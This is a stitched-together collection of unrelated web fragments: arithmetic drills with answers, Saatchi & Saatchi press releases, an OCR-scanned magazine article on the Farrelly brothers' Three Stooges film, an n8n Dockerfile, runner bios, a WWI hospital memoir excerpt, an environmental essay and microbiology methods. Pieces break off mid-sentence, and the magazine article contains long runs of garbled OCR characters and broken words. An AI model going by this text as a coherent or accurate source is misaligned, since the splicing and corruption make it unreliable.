Calculate the common denominator of (-72)/112*(-8)/(-3) and (-92*(-2)/110)/((-22)/55).
77
Let x = 1899/14 + -136. Let m = 9983/16 - 623. Calculate the common denominator of x and m.
112
What is the common denominator of 151/12 and (-3)/(-6) + (-188)/(-24)?
12
Suppose 1 = i - 1. Let p = -1809667/208010 - 2/20801. Calculate the common denominator of p and 10*(i/1 - 3).
10
Let u = 96563/14 + -6901. Calculate the common denominator of u and 79/110.
770
Let w = 110/7 + -1669/112. Find the common denominator of w and 281/(-12) - 2/(-8).
48
Let t = -352226271/22 - -16006551. Let n = -3738 - t. Calculate the common denominator of n and -25/8.
88
Let a = -3659 - -95105/26. What is the common denominator of 99/10 and a?
130
Let j = 1386/13 + -37630/351. What is the common denominator of j and -73/15?
135
Calculate the lowest common multiple of ((- |
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] | of Jake & Dinos Chapman, WARP films and Jonathan Glazer, has recently finished a series of twenty short films for Channel 4, is creative consultant for fashion house PREEN, and presently spearheads PRETTYBIRD’s UK division.
Marshmallow Laser Feast commented: “With this project, our aim was to create ethereal sculptures of light and sound. We're always excited by the prospect of appropriating new technologies and further developing them for artistic purposes. By customizing Quadrotors with LEDs and mirrors, and combining them with lights and other custom technology, we were able to choreograph the performance, pushing the experience to that of watching an abstract virtuoso-being made of light, playing an imaginary musical instrument.”
Daniel Mellinger of KMel Robotics said: "KMel Robotics focuses on hardware design and highperformance control for custom aerial vehicles which push the limits of experimental robotics. Our vehicles can be used in a wide range of applications including search and rescue, environmental monitoring, education, and entertainment. Our experiments illustrate that large numbers of autonomously functioning vehicles can be reliably deployed in the form of a ‘swarm’ to carry out tasks and to respond as a group to high-level commands, without a designated leader."
The Showcase will be webcast on the Cannes Lions website and on the NDS Channel on YouTube.
]]>2012-07-05 00:00:00James Brown - A Music Video Challenge presented by Saatchi & Saatchi, in association with Genero.tv and BUG - now open for entries.http://www.adforum.com/agency/15104/press-releases/3764/james-brown-a-music-video-challenge-presented-by-saatchi-saatchi-in-association-with-genero-tv-and-bug-now-open-for-entries
http://www.adforum.com/agency/15104/press-releases/3764/james-brown-a-music-video-challenge-presented-by-saatchi-saatchi-in-association-with-genero-tv-and-bug-now-open-for-entriesIn an unprecedented collaboration between Saatchi & Saatchi, Genero.tv, BUG Music Videos and Universal Music Enterprises (UMe), the music of James Brown will be brought to the attention of a whole new generation through the art of filmmaking.
Saatchi & Saatchi is throwing down the gauntlet to the international filmmaking community by creating a challenge to bring to life some of the most significant tracks of the ‘Godfather of Soul’ in the form of a music video: Sex Machine, Papa’s Got a Brand New Bag, It’s a Man’s, Man’s, Man’s World, and Try Me. Following the success of last year’s Moby competition, Saatchi & Saatchi wanted to bring a new twist to this year’s competition by working with a legendary artist who has influenced and crossed many generations.
James Brown changed the course of popular music, and UMe and the James Brown Estate are making some of his finest work available for the first time for interpretation by a new generation of film directors. Other than live footage, none of the songs featured in the Music Video Challenge has a music video, so this is a great opportunity for young filmmakers to become the director of the official promo for one of these tracks. On June 1st, UMe will release 20 James Brown albums digitally for the first time. These classic releases are from his back catalogue from the ‘50s, ‘60s and ‘70s, many of which have been long out of print.
The Grand Prize offered to the winning film director is to work on a project in a key office in the Saatchi & Saatchi global network. Entrants will be given the chance to revisit James Brown’s archive, and interpret it with fresh eyes. Deadline for entries is June 25th, 2012, 23:59 GMT. In addition, UMe is looking for official videos for each of the songs.
The judging panel responsible for selecting the finalists and overall winner will consist of members of the Saatchi & Saatchi Worldwide Creative Board, Genero.tv, BUG and UMe. Also, directors selected for this year’s Saatchi & Saatchi New Directors’ Showcase will be invited on to the judging panel to help select the winner. The 12 finalists will be revealed mid-July and the winner announced on the Genero.tv competition page on July 30th, 2012.
Alongside the digital re-release, the record label will also be re-releasing the classic James Brown Live at the Apollo album this year. Significantly, the album was recorded half a century ago, on October 24th, 1962, at the Apollo Theater in Harlem. In 2003, Rolling Stone ranked it as number 24 on their list of the Top 500 Greatest Albums of All Time. In celebration of the album, one of the four tracks available for interpretation by entrants to the Music Video Challenge will be Try Me, one of its featured tracks.
Bruce Resnikoff, President/CEO of UMe said: “This competition will introduce a new generation of fans to the groundbreaking music of James Brown’s catalogue, and landmark 1962 album Live at the Apollo, and what better way to do this than by working with Saatchi & Saatchi’s global network, utilizing BUG’s expertise in the art of the music video, and accessing the filmmaking community through Genero.tv.”
For the first time Saatchi & Saatchi will work with Genero.tv, who are based in Melbourne, Australia, and have more than 65,000 members spanning over 180 countries. Andrew Lane, Co-founder, Genero.tv commented: "We are very excited to offer our community such an incredible opportunity. Being able to work with iconic songs from the legendary James Brown, and to be offering an amazing prize from Saatchi & Saatchi makes this a not-to-be-missed challenge for our filmmaking community."
The winner of last year’s Music Video Challenge was Mexican Vancouver Film School graduate Alberto Gomez, whose prize was to travel to Los Angeles and direct a spot for Conill’s Miami Short Film Festival campaign. In addition, each finalist’s video was featured on Moby’s Destroyed Deluxe DVD. Saatchi & Saatchi’s aim again this year is to provide a platform for the most talented young directors to interpret the work of an iconic musician, and provide them with a global stage for their filmmaking talents.
This year the Music Video Challenge will have an even more international flavour, with the production team hailing from all over the world; UMe in LA; Saatchi & Saatchi in London and NYC; Genero.tv in Australia; and BUG in London. Add to this the phenomenal reach and influence of James Brown, with his international fan base and rich contribution to the tapestry of musical history, and you have a dream brief.
Tom Eslinger, Saatchi & Saatchi Worldwide Digital Creative Director, commented: "This is the third year that we’ve held a competition to find a truly new director. Having access to music from James Brown, one of the most influential performers of the 20th century, is inspiring for us and anyone who enters. Being part of creating the first music videos through a socially-powered platform like Genero is an honour.”
David Knight, BUG Creative Director added: “BUG is all about giving exposure to the most innovative and awe-inspiring new work in music videos. Our subheading is The Evolution of Music Video – and aspiring filmmakers are no longer limited to making new videos just for new music. They can be inspired by classic tracks too, and this Music Video Challenge is giving them the chance to prove it.”
For more information on the Music Video Challenge, including eligibility and how to enter go to: http://genero.tv/jamesbrown
]]>2012-05-17 00:00:00Winner and Finalists of Saatchi & Saatchi, Vimeo and BUG Music Video Challenge featured on Moby's 'Destroyed Deluxe' albumhttp://www.adforum.com/agency/15104/press-releases/702/winner-and-finalists-of-saatchi-saatchi-vimeo-and-bug-music-video-challenge-featured-on-mobys-destroyed-deluxe-album
http://www.adforum.com/agency/15104/press-releases/702/winner-and-finalists-of-saatchi-saatchi-vimeo-and-bug-music-video-challenge-featured-on-mobys-destroyed-deluxe-albumMoby is set to release Destroyed Deluxe on October 31st - a deluxe version of his latest album Destroyed. Since its release earlier this year, Destroyed has received four-star reviews in MOJO, Uncut and Record Collector. The new deluxe edition of Destroyed consists of a 3-disc set that includes unreleased tracks, live footage and videos.
The supporting music videos for both ‘After’ and ‘The Right Thing’ are from new directors who entered the Saatchi & Saatchi ‘Hello, Future’ Music Video Challenge this summer. As part of the 21st New Directors’ Showcase, Sa |
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] | ed task. Probably make the task run at 8pm or something, then turn the machines off.
A:
WPKG.
organizing anarchic material into engag- ing plots; she even identifies in their work a vaguely Stooge-like response to women. "In the Farrelly universe, there's a woman present, but she's always sort of alien," she said, citing the characters played by Cameron Diaz, in "There's Something About Mary;" and Gwyneth Paltrow, in "Shallow Hal." "That's also the Stooges: a vrorld in which women aren't really necessary: The boys function happily to- gether; they share a giant bed. Women come along now and then, but it's a world of friendship and bonding, where emotional needs and physical needs are met by the male communit)T." Stooges fans outside the academy are more wary: Earl Benjamin receives mes- sages every week advising against the project, and a recent discussion on three- stooges.net, a fan "Web site, was filled with disapproval. "What I've always feared is this film will be no more than a pas- tiche of familiar ( to us anyways) Stoogian scenes, without the inspiration that the Stooges could bring to fairly ordinary plot elements, wIth gross-out humor added to 'update' the comedy/' wrote one contributor, adding that he doubted that the Farrellys could equal the original trio's "unique combination of vaudeville sensibilit)r, sight gags, oddball satire, and h " utter may em. " H ' . d " h e ere s an 1 ea, anot er tan wrote, facetiously: "How about getting Moe Howard, Larry Fine, and Curly Howard to play. . . Moe, Larry, and Curly? If they can't get those actors (and nobody else) to play the parts, then they should pack it in." Another wrote, "I don't care if you get John Gielgud, Ian McKellen, and Ben Kingsley to play the Stooges: the movie will suck." E arl Benjamin thought of the Far- rellys as the "kings of physical com- edy"-but they had not made slapstick of a kind that the Stooges would recognize. Their films had Stooge-like moments, including the snowball thrown into a woman's face in "Dumb &Dumber" (the scene became funny to test-screening audiences only after the F arrellys added, at the moment of contact, the sound ef- fect of Hank Aaron hitting a home run); and the Farrellys did share with the . , :,. ";":) :;- ", ",, :1 {J.';{;.'" b n' - , ?' ;0 D'1J' t:S tJ. 0 0 :f] D n . nÐ n 'q:O Dðt-tNeLL Y \\(( L\ -- . . . ." .";:"".." . "n" . '51ren't we supposed to feed them ?" Stooges a willingness to keep a gag going longer than an audience expected-re- discovering the laugh with a postscripted, after-the-calm hit (or, in the case of a fa- mous scene in "Dumb &Dumber," shit). But, as Bobby told me, "Ours isn't slap- ping comedy; it's sight-gag comedy"-a distinction reinforced by "There's Some- thing About Mary," which has made three hundred and sixty-five million dol- lars since its release, in 1998, and is best known for the scenes involving Ben Still- er's genitals being caught in a zipper, and semen mistaken for hair gel by Cam- eron Diaz. The Farrellys sat down with Mike Cerrone in January; 2002, in a rented house in Woods Hole, Massachusetts, to write a first draft of the script. The chal- lenge was evident. "How the hell do you maintain a movie that's a slap fest for an hour and a h without losing the audi- ence?" Peter recently asked. ' d how do you make the audience give a shit in the last fifteen minutes, if it's the Stooges? You've got to care, even if it's just a little. 'Dumb & Dumber' was slapstick, a lot of set pieces, but you gave a shit. Ulti- matel you wanted to know what hap- pened with Jim Carrey and that girl- even if only just a little." For all their moments of unblinking obscenit)r, the Farrellys are traditional filmmakers, who seem to have tricked a generation of young men into enjoying romantic com- edies. Although the R-rated "Me, My- self &Irene" (2000) had scenes-such as one in which Jim Carrey sucked a wom- an's lactating breast-that Chris Weitz, the co-director of ' erican Pie," found "as disturbing as any crazy European art film," the Farrellys had by 2002 begun what they half-seriously call their "sweet trilo " These PG-13-rated romances took on subjects that seem at first too delicate to be handled by the Farrellys (obesity; conjoined twins, and-in their recently finished film, "The Ringer"- the Special Olympics). Yet the protago- nists follow arcs of self-improvement, and the movies promote themes of equal- ity and decency: The Three Stooges, of course, never saw an arc in their lives. "They're cartoon guys, they're bulletproof-you hit them and they don't really hurt," Bobby said. Movies are about advancement, and yet th Stooges never advance. (A "Sein- feld" episode once traded on this idea, byTuesday, February 5, 2013
Black Cat unfiltered cigarettes originated in 1904 and were popular in the UK prior to World War II. They were so named because in the 19th century a black cat was always in the window of the Carreras Tobacco Co. shop on Wardour Street in London. This old sign glows.FROM arm32v7/node:12.16
ARG N8N_VERSION
RUN if [ -z "$N8N_VERSION" ] ; then echo "The N8N_VERSION argument is missing!" ; exit 1; fi
RUN \
apt-get update && \
apt-get -y install graphicsmagick gosu
RUN npm_config_user=root npm install -g full-icu n8n@${N8N_VERSION}
ENV NODE_ICU_DATA /usr/local/lib/node_modules/full-icu
ENV NODE_ENV production
WORKDIR /data
USER node
CMD n8n
Thank goodness her smile and calm demeanor makes her approachable, because while running, Hiruni is a fierce competitor. She holds 10 National Records for Sri Lanka, a marathon personal best of 2:36, and a passion for chasing her goals and helping others do the same.
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Tom is the founder and CEO of Runcoach. He is a lifelong runner, 3 time Olympic Trials Qualifier and respected coach. In short, Tom is passionate about running and more specifically, helping runners improve and achieve their personal goals. He wanted to build a tool that adapted with the infinitely changing needs of each athlete. Armed with a set of principles inspired by his time as a professional runner and his firsthand knowledge coaching Nike Farm athletes, Tom created Runcoach.
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380
] | and got on easily.
As I did so, I saw Mr. Bevan sitting on a chair in his white overall,
his gloved hands quietly folded in his lap. He said and did nothing.
Again I felt immensely impressed by his competence, reserving every
ounce of energy, waiting, until these less masterful beings had got
everything ready.
They took off the blanket, and moved things behind. Then they put the
rubber cup over my mouth and nose.
“Just breathe quite naturally,” said the doctor. I shut my eyes.
“Just ordinary breaths. That is very good,” said the voice, quietly and
reassuringly.
I felt a sort of sweet shudder all down my body. I wanted to laugh.
Then I let my body go a little. It was no good bracing myself.... I
opened my right hand and shut it, just to show them I was not “off” yet
...
* * * * *
The process of “coming to” was unpleasant and uninteresting. I do not
think I distinguished myself by any originality, so will not attempt
to describe it. That was a long interminable day, and my arm hurt a
good deal. In the afternoon I was told that I should be pleased to hear
that there was no bone broken. I was anything but pleased. I wanted the
bone to be broken, as I wanted to go to “Blighty.” This worried me all
day. I wondered if I should get to England or not. Then in the evening
the sister (I found that the nurses should be called sisters) dressed
the wound. That was distinctly unpleasant. It took hours and hours and
hours before it began to get even twilight. I have never known so long
a day. And then I could not sleep. They injected morphia at last, but
I awoke after three or four hours feeling more tired than ever.
THURSDAY
I can hardly disentangle these days; night and day ran into one
another. I can remember little about Thursday. I could not sleep
however much I wanted to; and all the time my brain was working so
hard, thinking. I worried about the company: they must be in the
line now. Would Edwards remember this, and that? Had I left him the
map, or was it among those maps in my valise which Lewis had gone to
Morlancourt to fetch?
And all the time there were rifle-grenades about; I daren’t let the
buzzing come, because it was all rifle-grenades really; and always I
kept seeing Lance-Corporal Allan lying there. Why could I not get rid
of the picture of him? Yet I was afraid I might forget; and it was
important that I should remember....
I remember the waiting to have my arm dressed. It was like waiting
before the dentist takes up the drill again. I watched the man next to
me out of the corner of my eye, and felt it intensely if he seemed to
wince, or drew in his breath. And I remember in the morning Mr. Bevan
dressed my wound. I looked the other way. For a week I thought the
wound was above instead of just below the elbow. “This will hurt,” he
said once.
Some time in the day the man behind the screen died. I had heard him
groaning all day; and there was the rhythmic sound of pumping--oxygen,
I suppose.... I heard a lot of moving behind the screen, and at last
it was taken away and I saw the corner for the first time and in it an
empty bed with clean sheets.
The man next to me, with the bandaged head, kept talking deliriously to
the orderly about his being on a submarine. Once the orderly smiled at
me as he answered the absurd questions.
There was one good incident I remember. After the surgeon had dressed
my arm, I said, “Is there any chance of this getting me to Blighty?”
And I thought he did not hear; he was looking the other way. But
suddenly I heard that calm deliberate voice:
“Yes, that is a Blighty one. There is enough damage to those muscles
to keep you in Blighty several months.” And this made all the rest
bearable somehow.
FRIDAY
Again the only sleep I could get was by morphia. In the morning they
told me I should go by a hospital train leaving at three o’clock. I
scrawled a note or two and gave them to Lewis, and instructed him about
my kit. I believe they made an inventory of it. I gave him some maps
for Edwards. And then he said good-bye. And I thought of him going
back, and I going to England. And I felt ashamed of myself again. I
wondered if the Colonel was annoyed with me.
They gave me gas in the morning. It seemed such a bother going through
all that again: it was not worth trying to get better. Still I was
glad, it was one dressing less! Then in the afternoon I was carried on
a stretcher to the train. I hardly saw anyone to say good-bye to. I
thought of writing later.
It seemed an interminable journey. By some mistake I had been put in
with the Tommies. There was no difference in the structure or comfort
of the officers’ or Tommies’ quarters; but I knew they were taking me
wrong. However, I was entirely passive, and did not mind what they
did. The carriage had a corridor all the way down the centre, and on
each side was a succession of berths in three tiers. On the top tier
you must have felt very high and close up to the roof; on the centre
one you got a good view out of the windows; on the third and lowest
tier (which was my lot) you felt that if there were an accident, you
would not have far to roll; on the other hand, you were out of view of
orderlies passing along the corridor.
A great thirst consumed me as I lay waiting. I could see two orderlies
in the space by the door cutting up large pieces of bread and butter.
This made my mouth still drier. Then they brought in cans of hot tea,
and gave it out in white enamel bowls. I longed for the sting of the
tea on my dry palate, but the orderly was startled when I said, “I
suppose this is all right; I am an officer.” He said he would tell
them, and gave the bowl to the next man. The bowls were taken away
and washed up, before a cup of tea was at last brought me. A corporal
brought it; he poured it out of a little teapot; but I could not drink
it out of a cup. My left arm lay like a log beside me, and I could not
hold my right arm steady _and_ raise my head. So the corporal went off
for a feeding cup. I felt rather nervy and like a man with a grievance!
And when I got the tea it was nearly cold.
I say it seemed an interminable journey, and my arm was so frightfully
uncomfortable. I had it across my body, and felt I could not breathe
for the weight of it. At last I felt I _must_ get its position altered.
I called “orderly” every time an orderly went past: sometimes they
paused and looked round; but they could not see me, and went on.
Sometimes they did not hear anything. I felt as self-conscious and
irritated as a man who calls “waiter” and the waiter does not hear. At
last one heard, and a sister came and fixed me up with a small pillow
under the elbow. I immediately felt apologetic, and I wondered if she
thought me fussy.
The train made a long, slow grind over the rails; and it kept stopping
with a griding sound and a jolt. Why did it go so slowly? At ten
o’clock I begged and obtained another morphia dose, and got four hours’
sleep from it again.
SATURDAY
I suppose it was about 7.0 a.m. when we arrived at Étretat. I was taken
and laid in the middle of rows and rows of Tommies in a big sunny
courtyard. I thought how well the bearers carried the stretchers: I did
not at all feel that I was likely to be dropped or tilted off on to my
arm. There were a lot of men in blue hospital dress on the steps of a
big house. I wondered where I was: in Havre probably. It was a queer
sensation lying on my back gazing up at the sun; we were tightly packed
in together, like cards laid in order, face upwards. How high everyone
looked standing up. Then they discovered one or two officers, and I
said that I too was an officer. I felt that they rather dared me to
repeat this statement. Then a man looked at my label, and said: “Yes,
he is an officer.” And I was taken up and carried off.
I found myself put to bed in a spacious room in which were only two
beds. The |
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] | -saving, and spiritual values of wilderness services against the clamor of anti-public land campaigners, who have misread Garrett Hardin's message about unregulated commons. Privatization is not the answer, because everyone may need access to those lands in the unknown future. We can join campaigns to elevate and expand wilderness preservation as part of our national treasury and strictly limit its uses. That change alone could refocus forest management practices along more ecological lines.
We also need to start valuing water as a scarce resource in a land of little rain, and finally give up the idea that we will find unclaimed supplies in some remote corner, to be bagged for transport, or piped far away at huge public expense. Examining the costs in terms of energy and other resource consumption will explain the reasons. Eventually, we will need to rework the old river water-distribution agreements to meet the realities of drought, depletion, and pollution. Each individual can start finding more efficient ways to use water and help develop programs that encourage putting water-saving devices and energy-saving retrofits into all buildings.
We must stop looking for new garbage dump sites and _start reducing the garbage to dump_. Locally and nationally, we can clamor for restarting the Superfund program and for cleaning up as many hazardous dumps as possible now, while fuel prices remain relatively low.
Cutting back on waste production means consuming less, of course—the easiest and cheapest approach. The biggest reductions could be made immediately by eliminating most packaging—especially plastic containers, with plastic shopping and storage bags, bubble-paks, and water bottles at the top of the list. This step would help reduce the burden of plastic on every part of our environment—along with wildlife–plastic encounters—while saving petroleum. Returning to using and reusing glass bottles would save even more.
Reducing per capita consumption is the key aspect needed to turn Americans toward true sustainability, which means living within the bounds of what nature provides. Other forms of sustainability, such as "sustainable development" and "sustainable growth," are less promising. The 1987 report to the United Nations World Commission on Environment and Development defines sustainable development as meeting the needs of the present without compromising the ability of future generations to meet their own needs. The plight of third-world nations shows that population increases can lead to unsustainability, even at low levels of affluence and technology. The U.S. experience shows that growing affluence can lead to unsustainability even with a relatively stable population. This implies that sustaining a high-tech world has to mean shrinking both populations _and_ affluence. The term "sustainable growth" is therefore an oxymoron. The potential for sustainable _development_ is an unproven hypothesis.
So here is the rub: reaching for true sustainability represents a profound change to many aspects of current American culture and economic life. Yet it takes us back to the practices of only 60 or so years ago. Americans, particularly in the western states, have a long way to go before reduced per capita consumption takes them even to the level of most Europeans, who live quite well and tend to register higher satisfaction with their lives than Americans.
Whatever political choices or philosophical shifts the public and the nation is able to make, we soon will feel the rigor of nature's law in the form of diminishing energy supplies at much higher prices. At the same time, more-rapid-than-natural climate warming is driving more-rapid-than-anticipated melting of land ice, which is raising ocean levels faster than any current prediction. The encroaching seas will force many American populations to shift away from coastlines over the next 50 to 100 years, increasing urban population densities. Eventually, people and industry will be forced out of most of today's beachside towns and sites. For example, a very recent study foresees that by 2100 rising water levels in San Francisco Bay could combine with collapsed ground levels from overpumping California's deep Santa Clara Valley groundwater aquifers to drown Silicon Valley.
As nature forces these changes upon us, an unregulated and resentful population might make terrible choices, both politically and environmentally. Since Admiral Rickover could not persuade 1950s Americans to conserve U.S. oil, concerned citizens must now seriously plan to cope with this kind of future.
Admiral Rickover's foremost concern was that the United States maintain a dominant role in the world, knowing that energy and strategic mineral resources are critical elements for attaining that objective. Geographer Jared Diamond takes a broader view in his book _Collapse_ , which explains the forces that brought whole civilizations and colonies to their knees. Diamond's work indicates that cultures were especially vulnerable if they could not support themselves from the local surroundings but came to rely on long-distance transport for many food supplies. Of course, those long-gone losers did obviously dumb things, "like cutting down their forests, overharvesting wild animal[s]... watching their topsoil erode away, and building cities in dry areas likely to run short of water." Also, "They had foolish leaders... who embroiled them in expensive and destabilizing wars, cared only about staying in power, and didn't pay attention to problems at home."
In Professor Diamond's tales of unsuccessful past societies and governmental systems, we authors find echoes of our own concerns—such as the severe effects of clearcut logging, industrial farming, road building, overgrazing, and military and mechanized recreational activities on fragile western soils—not to mention sprawling populations living on an overstretched water credit card. Diamond contends that the United States is much better off because it can learn from the past, and from our own wisdom, which we interpret to mean scientific observations and common sense. But is he right?
A small population could have lived well for thousands of years on America's bounty, even at our current level of consumption. But the United States has grown to a population of 300 million, which is still growing and eating its way through the remaining forests, minerals, soils, and water supplies—the commons shared by all living things. Our increasingly hazardous wastes also are growing. The result is polluted land, air, and waters, which certainly affect our health and may be threatening our lives.
In 1957, the insightful Admiral Rickover noted, "We are rapidly approaching the time when exhaustion of better grade metals will force us to turn to poorer grades requiring in most cases greater expenditure of energy per unit of metal." Again he hit the nail on its head. Even as he spoke, the U.S. mining industry was exploiting quite low grade ore deposits. Today's mammoth western U.S. mines extract nothing that an old-time prospector would have called an ore. The gaping mine pits drain and despoil precious groundwater in an arid land.
Current drought highlights the west's looming problems of oversubscribed rivers and depleted groundwater aquifers, further limited by water pollution. This is a gap that cannot be filled. Our depleted water and energy supplies are obvious consequences of our long denial of the region's aridity and our heedless resource use. Industry now contemplates even vaster destruction of western lands and water, which will result from exploiting the very low-grade "oil shale" energy resource, with no guarantee of obtaining even as much energy as the production requires.
Admiral Rickover predicted that our consumptive lifestyle eventually would pit America's dwindling "conventional" petroleum production against spiraling oil consumption—another serious gap. "Looking into the future, from the mid-twentieth century," he said, "we cannot feel overly confident that present high standards of living will of a certainty continue through the next century and beyond." Our current reliance on foreign oil imports would have disturbed him greatly, because it signals a high level of vulnerability. And he foresaw the possibility of warfare over oil and other resources.
The soil losses, declining grades of metal ores, and even the water gap could be overlooked as long as energy prices remained low and seasonal storms kept the reservoirs filled. Even the petroleum gap could be overlooked as long as cheap imports flowed into it. But now all the problems that Admiral Rickover foresaw are coming together with the globally warming climate and driving us to a tipping point in our history—one that, in retrospect, a Babylonian, Greek, or an ancient southwestern U.S. Anasazi might recognize.
Here is the risk that we now face: if the United States as a whole cannot shift to a less Earth-degrading and more truly sustainable course, the last raids on the west's fossil energy resources will degrade its land and water resources to the point of no return. We are seeing this happen today on the lands ruined by coal-bed methane extraction and in the wildernesses slated for barely economic oil exploration. Keeping on this course will face us with an abrupt adjustment to a world of impoverished resources, lacking the means for peacefully transitioning to a different lifestyle. It very likely will erode American democracy and bring hardship, conflict, and strife of incalculable scale. So there is much to be done.
Before discussing the energy future, however, we have to cast aside a few more illusions. In presenting the scientific facts and limitations of energy transformations, we have tried to explain that _there is no free lunch with energy_. There isn't even a cheap one. The economist's technologically optimistic belief—that the higher prices of depleting gas and oil will make alternative fuels and electricity sources more cost-competitive—ignores a very significant energy fact: the rising price of petroleum will raise all other costs, including the prices of alternative fuels. The more energy required to produce those alternative fuels, the pricier they will be.
Everything will become hugely more expensive. |
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] | catabolic genes enabling microbial growth on sulfonamides. Our experiments corroborate that bacteria can subsist on antibiotics^[@CR33]^ and definitively resolve the controversy in the literature about the ability of microorganisms to use antibiotics as carbon and energy sources. The *sad* cluster is not related to any of the sulfonamide resistance genes known so far. It is furthermore remote from *sul1* on the chromosome of *Microbacterium*, includes a relaxase which suggests mobility (present or historical) and is present in several bacteria. Therefore we postulate that SadA should be considered as a part of the resistome, as it shows a high potential to evolve into an effective resistance gene. Moreover, strains able to subsist on antibiotics and thereby lowering the antibiotic concentration, have a fitness advantage over the ones having only traditional resistance genes, such as *sul1*. Therefore this cluster also bears the potential to contribute to accelerate the spreading of classic resistance mechanisms (*i.e*. here *sul1*). A corollary question is whether and how classic antimicrobial resistances affect the metabolic capacity of microorganisms, especially in terms of selection pressure, for promiscuous enzymes are often involved in co-metabolic and metabolic degradation processes. Since worldwide actions are taken to combat the spread of antibiotic resistance, knowledge on such molecular determinants is crucial and should become integral part of resistome studies and antibiotic resistance screenings.
Materials and Methods {#Sec3}
=====================
Bioinformatic analyses {#Sec4}
----------------------
### Phylogenetic tree of sulfonamide degrading bacterial isolates {#Sec5}
The sequences of 16S rRNA genes were used to build a phylogenetic tree of sulfonamide degrading bacteria. Ugene V1.26^[@CR54]^ was used as the graphical user interface for the bioinformatic tools. All sequences were aligned with MAFFT (advanced options were inactivated). The tree was built with PhyML Maximum Likelihood (Substitution model HKY85, equilibrium frequencies: optimized, number of substitution rate categories: 4, fast likelihood-based method: aLRT, tree improvement: SRT & NNI) and plotted with Ugene.
### Genome sequencing {#Sec6}
Genomic DNA of *Microbacterium* sp. strain BR1 was isolated from an overnight liquid culture using the DNeasy blood and tissue kit (Qiagen). Sequencing was performed on a Roche 454 platform using both a 3 kb paired end and a shotgun sequencing approach. Prediction of CDS was done by Critica, Glimmer and Prodigal. All predictions were merged together into one unique set of CDS. Additional annotation was performed using the RAST server^[@CR55],[@CR56]^. The draft genome has been deposited at NCBI under BioProject number PRJNA394223.
The genomic DNA of *Microbacterium lacus* strain SDZm4 (DSM 26765) was isolated with the GenElute Bacterial Genomic DNA Kit (Sigma-Aldrich) from a 48 h old culture. The kit Promega QuantiFluor was used for quantification of the concentration of genomic DNA and of the sequencing library. We used the KAPA HyperPlus Kit for enzymatic fragmentation and whole library preparation, performing size selection step with NucleoMag magnetic beads (Macherey Nagel). TruSeq DNA PCR-Free LT Library adapters were used. Libraries were sequenced with the MiSeq Reagent Kit v2 (500 cycles) on the Illumina MiSeq system. The resulting paired reads were further analysed with the MyPro pipeline for genome assembly and annotation^[@CR57]^. The draft genome has been deposited at NCBI under BioProject number PRJNA394221.
### CARD analysis of *Microbacterium* sp. strain BR1's genome {#Sec7}
The Comprehensive Antibiotic Resistance Database (CARD) analysis^[@CR53]^ of the 10 genome contigs of *Microbacterium* sp. strain BR1 was carried out on February 14^th^ 2017. The genome was screened with the Resistance Gene Identifier (RGI) for perfect and strict hits to known resistance genes.
### Identification of *sad* genes in sulfonamide mineralizing isolates {#Sec8}
Genomes of the strains *Microbacterium* sp. strain C448 (BioProject accession number PRJNA170195) and *Arthrobacter* sp. strain D2 (BioProject accession number PRJNA314012) and D4 (BioProject accession number PRJNA314014) were downloaded from National Center for Biotechnology Information (NCBI) repositories and analysed locally. Ugene V1.20.00 was used as the graphical user interface.
A local Blast+ database containing the amino acid sequences of the SadA, the SadB and SadC from *Microbacterium* sp. strain BR1 was built and queries were run against the genomes of all four genomes, including the one from *Microbacterium* sp. strain SDZm4. Applied settings were the following: search: blastx, expectation value: 10, best hits limit: 100, both strands, word size: 11, gap costs 2 2, match scores 1--3; X dropoff values: gapped alignment: 30 bits, ungapped extensions: 20 bits.
The identity of the *sad* gene cluster and its surrounding was carried out by making Blast+ databases of each genome and carrying out local Blast analysis against the genome of *Microbacterium* sp. strain BR1 and vice versa.
### Alignment of *sad* genes and enzymes {#Sec9}
Gene and enzyme sequences were aligned offline with MAFFT (advanced options were inactivated) in the graphical user interface Ugene V1.26^[@CR54]^. The sequence of *Microbacterium* sp. strain BR1 was set as reference sequence to determine identities among the sequences. The phylogenetic tree of the SMX-MO was built with PhyML Maximum Likelihood (Substitution model HKY85, equilibrium frequencies: optimized, number of substitution rate categories: 4, fast likelihood-based method: aLRT, tree improvement: SRT & NNI) and plotted with Ugene.
Molecular biology {#Sec10}
-----------------
### Plasmid construction with *sad* genes {#Sec11}
The genes *sadA* and *sadC* encoding for the SMX-monooxygenase and FMNR were codon optimized for *E. coli* and synthesized by MWG Operon (Ebersberg, Germany). All three *sad* genes were separately cloned into a pET28a vector, downstream of a hexahistidine tagged small ubiquitin related modifier (SUMO, Sequence 1) under control of a T7 promotor (plasmid construct provided by Ricardo Adaixo). A restriction free cloning strategy was used for the construction of all three plasmids. The primer design was carried out with the online tool of the website rf-cloning.org^[@CR58]^. The retrieved primer sequences were synthesised by Eurofins (Table [1](#Tab1){ref-type="table"}) and the PCRs was carried out accordingly (Tables [1](#Tab1){ref-type="table"}, [2](#Tab2){ref-type="table"}).Table 1Primers for RF-Cloning.Construct NameForward/Sequence \[5′ - \>3′\]Annealing Temp. \[°C\]ReversePlasmidTargetpET28a_Nt6HisSUMO-MOII_codon_optForwardCTCACCTCGAACAGATTGGTGG-CATGAAATCTGTCCAAAGCGCT6156ReverseGGTGGTGGTGGTGCTCGAGTCACTAAATCGG-CATGACGAACTC6455pET28a_Nt6HisSUMO-FMNRForwardCTCACCTCGAACAGATTGGTGGCATGAC-CTCCGAATCACCAAC6156ReverseGGTGGTGGTGGTGCTCGAG-TCATCAGATGATCGCGGAGCG6458pET28a_Nt6HisSUMO-MOIForwardCTCACCTCGAACAGATTGGTGGCATGGTCGA-TAGCAGTTTGCC6156ReverseGGTGGTGGTGGTGCTCGAGTCATCAAAC-CAGAGGCGTAACG6456 Table 2RF-Cloning parameters for 2nd PCR.Construct NameExtension Time \[min\]Insert \[ng\]Plasmid \[ng\]pET28a_Nt6HisSUMO-MOII_codon_opt2:1430970pET28a_Nt6HisSUMO-FMNR2:01151.269.9pET28a_Nt6HisSUMO-MOI2:13298.869.9
*E. coli* XL10Gold competent cells were transformed with the construct and colonies were checked by colony PCR using T7 primer. The plasmids were purified from positive clones and sequenced (MWG Operon). Finally, competent *E*. *coli* Arctic Express were transformed with the plasmid constructs.
Sequence 1: SUMO-tag -- Supports proper folding of heterologously expressed enzymes
